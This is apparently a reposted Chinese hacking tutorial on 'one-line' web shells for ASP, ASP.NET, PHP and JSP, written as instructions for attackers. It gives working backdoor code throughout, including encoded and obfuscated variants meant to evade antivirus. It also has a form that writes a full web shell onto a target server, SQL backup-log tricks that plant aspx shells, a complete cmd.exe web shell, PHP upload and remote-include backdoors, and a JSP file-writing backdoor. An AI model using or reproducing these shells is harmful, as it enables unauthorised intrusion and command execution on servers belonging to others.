一句话木马适用环境与工作原理
使用前提条件:
1. 服务器来宾账户具备写入权限
2. 已知数据库地址且格式支持asa或asp
3. 若数据库非asp/asa格式,能将代码插入现有asp文件亦可
工作原理概述:
所谓“一句话木马”的服务端部分,即本地HTML提交表单对应的目标脚本内容。
该代码需植入任何可执行的asp文件中(不限于.asp后缀的数据库),用于触发并接收入侵者通过客户端POST的数据,进而执行相应操作。典型服务端代码为 <%execute request("value")%>,其中参数名value可根据需要自定义。
“一句话木马”的客户端部分,指远程服务器上被植入上述代码的asp文件。
其功能是向服务端发送控制指令,服务端接收到数据后拼接成完整的asp语句并执行,从而生成具备完整功能的asp木马文件。
假设远程主机TEXT.ASP中已存在<%execute request("value")%>语句。在ASP中,<%execute ... %>表示执行括号内的代码字符串。若传入精心构造的代码,它将被自动执行。基于此逻辑,可在本地构建如下表单(//为注释行):
<form action=http://主机路径/TEXT.asp method=post>
<textarea name=value cols=120 rows=10 width=45>
set lP=server.createObject("Adodb.Stream") // 创建流对象
lP.Open // 打开流
lP.Type=2 // 设置为文本模式
lP.CharSet="gb2312" // 指定字符集
lP.writetext request("newvalue")
lP.SaveToFile server.mappath("newmm.asp"),2 // 以覆盖方式写入newmm.asp,2代表覆盖
lP.Close // 关闭对象
set lP=nothing // 释放对象引用
response.redirect "newmm.asp" // 重定向至新文件
</textarea>
<textarea name=newvalue cols=120 rows=10 width=45>填入大马内容</textarea>
<center><br>
<input type=submit value=提交>
</form>
该表单的作用是将内容提交至远程主机的TEXT.ASP文件。由于TEXT.ASP中包含<%execute request("value")%>,该代码会执行从表单传来的内容。注意:表单字段名必须与execute中的参数名一致(即文中蓝色标记的两处name和request参数名需相同)。
至此逻辑清晰:我们构造了两个输入框。第一个表单区域包含文件操作代码(将第二个表单的内容写入当前目录并命名为newvalue.ASP的处理逻辑);第二个表单区域则用于填写实际要写入的恶意代码(大马)。
具体涉及的代码如下:
set lP=server.createObject("Adodb.Stream") // 建立流对象
lP.Open // 打开
lP.Type=2 // 以文本方式
lP.CharSet="gb2312" // 字体标准
lP.writetext request("newvalue")
lP.SaveToFile server.mappath("newvalue.asp"),2 // 将木马内容以覆盖文件的方式写入newmm.asp,2就是已覆盖的方式
lP.Close // 关闭对象
set lP=nothing // 释放对象
response.redirect "newmm.asp" // 转向newmm.asp
此时,第二个表单的name属性必须与lP.writetext中的request参数名一致(即文中红色标注的两处)。
只要服务器拥有写入权限,表单提交的大马内容就会被写入newmm.asp。此时newmm.asp即为我们的Webshell地址。
示例URL: http://www.hxhack.com/bbs
关于服务器报错处理:
常在ASP文件中添加一句话后出现类型不匹配错误:
Script error detected at line 1.
Source line: execute request("nettoo")
Description: 类型不匹配: 'execute'
解决方法如下:
将服务端的"execute"替换为"eval"即可避免此类错误!
使用一句话客户端连接时,加入容错语句,可将其插入任意ASP文件而不再报错。
<%On Error Resume Next execute request("value")%>
常见ASP一句话木马变体:
<%set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
ms.Language="VBScript"
ms.AddObject "Response", Response
ms.AddObject "request", request
ms.AddObject "session", session
ms.AddObject "server", server
ms.AddObject "application", application
ms.ExecuteStatement ("ex"&"ecute(request(chr(35)))")%>
<%ExecuteGlobal request(chr(35))%>
<%ExecuteGlobal request(chr(35))%>
<%execute request("#")%>
<%execute request(chr(35))%>
<script language=VBScript runat=server>if request(chr(35))<>"""" then
ExecuteGlobal request(chr(35))
</script>
<%ExecuteGlobal request(chr(35))%> 9月30日
<%eval request("#")%>
数据库中插入编码:
┼攠数畣整爠焕敌瑳∨∣┩忾
UTF-7编码的一句话:
<%@ codepage=65000%>
<% response.Charset="936"%>
<%e+j-x+j-e+j-c+j-u+j-t+j-e+j-(+j-r+j-e+j-q+j-u+j-e+j-s+j-t+j-(+j-+ACI-#+ACI)+j-)+j-%>
<%set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
ms.Language="VBScript"
ms.AddObject "Response", Response
ms.AddObject "request", request
ms.AddObject "session", session
ms.AddObject "server", server
ms.AddObject "application", application
ms.ExecuteStatement ("ex"&"ecute(request(chr(35)))")%>
<%@ LANGUAGE = VBScript.Encode %>
<%#@~^PgAAAA==r6P. ;!+/D`14Dv&X#*@!@*ErPPD4+ P2Xn^ED+VVG4Cs,Dn;!n/D`^4M`&Xb*oBMAAA==^#~@%>
不同环境下的一句话木马实现:
ASP.NET (aspx)
1. 类似ASP的一句话木马实现:
程序代码
alter database pubs set RECOVERY FULL--
create table pubs.dbo.cmd(a image)
backup log pubs to disk = 'c:\TM' with init
insert into pubs.dbo.cmd(a) values ('<%@ Page Language="C#" validateRequest="false" %><%System.IO.StreamWriter ow=new System.IO.StreamWriter(Server.MapPath("images.aspx"),false);ow.Write(Request.Params["l"]);ow.Close()%> ')
backup log pubs to disk = 'd:\test11.aspx'
// 此方法与ASP类似,客户端POST变量l,将木马代码放入变量l中即可。这是类ASP的一句话木马。
// mu.aspx.htm 客户端示例:(提交后访问:http://IP/images.aspx)
<form action=http://192.168.2.100/asp/mu.aspx method=post>
<b>在下面输入大马内容:</b><br>
<textarea name=l cols=120 rows=35 width=45>
<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="system.IO" %>
<%@ import Namespace="System.Diagnostics" %>
<script runat="server">
Sub RunCmd(Src As Object, E As EventArgs)
Dim myProcess As New Process()
Dim myProcessStartInfo As New ProcessStartInfo(xpath.Text)
myProcessStartInfo.UseShellExecute = False
myProcessStartInfo.RedirectStandardOutput = true
myProcess.StartInfo = myProcessStartInfo
myProcessStartInfo.Arguments=xCmd.text
myProcess.Start()
Dim myStreamReader As StreamReader = myProcess.StandardOutput
Dim myString As String = myStreamReader.Readtoend()
myProcess.Close()
mystring=replace(mystring,"<","<")
mystring=replace(mystring,">",">")
result.text= vbcrlf & "<pre>" & mystring & "</pre>"
End Sub
</script><html><head>
<title>ASP.NET Shell for WebAdmin2.X Final</title>
<meta http-equiv="Content-Type" c /></head><body>
<form runat="server">
<asp:Label id="L_p" style="COLOR: #0000ff" runat="server" width="80px">;Program</asp:Label>
<asp:TextBox id="xpath" style="BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; BORDER-BOTTOM: #084b8e 1px solid" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox><br />
<asp:Label id="L_a" style="COLOR: #0000ff" runat="server" width="80px">Arguments</asp:Label>
<asp:TextBox id="xcmd" style="BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; BORDER-BOTTOM: #084b8e 1px solid" runat="server" Width="300px" Text="/c net user">/c net user</asp:TextBox><br />
<asp:Button id="Button" style="BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; COLOR: #ffffff; BORDER-BOTTOM: #084b8e 1px solid; BACKGROUND-COLOR: #719bc5" runat="server" Width="100px" Text="Run"></asp:Button><p>
<asp:Label id="result" style="COLOR: #0000ff" runat="server"></asp:Label> </p></form></body></html>
</textarea>
<center><br>
<input type=submit value=提交>
2、以下源自网络的ASP.NET上传程序修改精简版,同样可用:
程序代码
drop table pubs.dbo.cmd
alter database pubs set RECOVERY FULL
create table pubs.dbo.cmd(a image)
backup log pubs to disk = 'c:\TM' with init
insert into pubs.dbo.cmd(a) values ('<script language="c#" runat="server">private void bc(object o,EventArgs e) {string u="files";string filename;int pos=f.PostedFile.FileName.LastIndexOf("\\");filename=f.PostedFile.FileName.Substring(pos + 1);f.PostedFile.SaveAs(Server.MapPath(u)+"\\"+filename);}</script><form method="post" runat="server"><input type="file" id="f" runat="server"/><input type="submit" value="ss" runat="Server" /></form>')
backup log pubs to disk = 'c:\inetpub\wwwroot\test11.aspx'
PHP
本文旨在抛砖引玉,献给在PHP领域徘徊的新手。
刚学PHP不久便急于求成,如有错误或不足请指正。
PHP语法功能强大,远超ASP。仅<?phpinfo();?>即可探测服务器配置,运行CMD、上传文件等均十分简便。目前优秀的PHP木马当属angel的phpspy。昨日hak_ban询问如何加密PHP木马,笔者暂未想到良策,但编写微型PHP木马通常难以被杀软检测。
此处简要探讨几个可作为木马使用的函数:
1. 可执行外部命令的函数:system, passthru, exec, shell_exec, popen。
例如:将<?system($cmd);?>保存为cmd.php即可实现外部命令执行。这些是最早期的微型PHP木马,因此虚拟主机通常会屏蔽这些函数。
2. 还记得WDB论坛style.php的漏洞吗?可利用其制作难被检测的小木马:
<?php include($include);?>
保存为1.php后,可调用其他不支持PHP的服务器上的PHP木马(如phpspy.php)达到目的:http://target.com/1.php?Include=http://www.xxx.com/phpspy.php
此处http://www.918x.com是不支持php的,否则将会在http://www.xxx.com这台服务器运行phpspy.php,而不是目标服务器。
3. 这是angel在Discuz 2.2F攻击中提供的优秀上传木马,未做修改:
<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>
保存为up.php后,在本地提交表单:
<form ENCTYPE="multipart/form-data" ACTION="http://目标服务器/up.php" METHOD="POST">
<input NAME="MyFile" TYPE="file">
<input VALUE=" 提交 " TYPE="submit">
</form>
即可将大型PHP木马上传至服务器。
一直在思考是否存在类似冰狐浪子ASP一句话木马那样通过本地表单提交运行的PHP木马。终于找到了函数:eval。在PHP4中文参考手册中其语法说明如下:
语法: void eval(string code_str);
内容说明:本函数可将字符串之中的变量值代入,通常用在处理数据库的资料上。参数 code_str 为欲处理的字符串。值得注意的是待处理的字符串要符合 PHP 的字符串格式,同时在结尾处要有分号。使用本函数处理后的字符串会沿续到 PHP 程序结束。
可在目标主机保存:<?eval($cmd);?>为PHP文件(也可插入任意PHP文件中)。通过本地提交实现控制。但与ASP不同的是,当magic_quotes_gpc = on时,许多字符被过滤,导致此方法功能大幅受限。
针对此PHP木马本地表单尝试多次,尚未有成熟代码。恳请高手指教。完成后将分享大家。但eval函数可用于制作微型PHP木马这一点毋庸置疑。
Ps:写完后有人告知,其实高手早已拥有微型PHP木马,只是未公开。哎,好郁闷啊,研究的都是人家早就有了的成果。不管怎样,和大家分享一下我的研究,希望能得到帮助和指教。
JSP
<%
<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>
%>
这个后门估计不用我说了吧.还是提示一下咯.保存为1.jsp 提交url!
http://localhost/1.jsp?f=1.txt&t=hello
然后:http://localhost/1.txt 就出来了 内容为 hello .....
总结完毕---转